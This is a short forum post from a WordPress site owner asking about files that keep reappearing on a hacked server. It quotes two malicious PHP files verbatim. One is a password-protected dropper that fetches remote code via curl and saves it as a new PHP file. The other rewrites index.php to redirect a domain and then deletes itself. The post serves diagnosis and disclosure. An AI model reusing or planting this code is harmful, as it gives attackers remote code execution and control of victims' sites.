advance cache hack ? !

it seems i got some new files on my server
some in wp-content that even if i delete them they reapear

upd.php

<?php
$file = $_GET['file'];
$pass = $_GET['pass'];
$true = 'c7e1249ffc03eb9ded908c236bd1996d';
if ($pass == $true){

$ch = curl_init($file);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$shell = curl_exec($ch);
curl_close($ch);

$tmp = md5(rand(0,10000));

$f = fopen($tmp.'.php',"w");
fputs($f,$shell);
fclose($f);
header("Location: $tmp.php");
}
?>

and
752356ce55e0b436a9027914cb7e18a7.php

<?php
$file = __FILE__;
$pos = strpos($file,'wp-content');
$dir = substr($file,0,$pos);
$index = file_get_contents($dir.'index.php');
$index = str_replace('superpuperdomain.com','superpuperdomain2.com',$index);
$f = fopen($dir.'index.php',"w");
fputs($f,$index);
fclose($f);
echo 'OK';
unlink($file);
?>

– i do use Quick Cache plugin, but i didnt had problems before

any ideas ?

*i had to do a full server restore because i wasnt able to see any pictures